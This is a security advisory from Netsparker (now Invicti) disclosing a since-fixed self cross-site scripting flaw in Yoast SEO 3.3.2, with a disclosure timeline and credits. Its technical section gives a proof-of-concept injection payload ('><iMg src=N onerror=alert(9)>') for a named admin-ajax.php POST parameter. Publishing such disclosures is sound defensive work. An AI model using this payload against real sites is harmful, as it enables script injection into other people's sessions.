Advisory by Netsparker (now Invicti)
Name: Self XSS Vulnerability in Yoast SEO 3.3.2
Affected Software: Yoast SEO
Affected Versions: 3.3.2 and possibly below
Vendor Homepage: 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-16-007

Technical Details
Proof of Concept URLs for XSS vulnerabilities in Yoast SEO 3.3.2:

URL /wordpress/wp-admin/admin-ajax.php
Parameter Name new_value
Parameter Type POST
Attack Pattern ><iMg src=N onerror=alert(9)>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
29 Jun 2016 - First Contact
01 Jul 2016 - Vendor Replied
27 Jul 2016 - Advisory Released

Patch released by Yoast SEO and announced here.

Credits & Authors
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.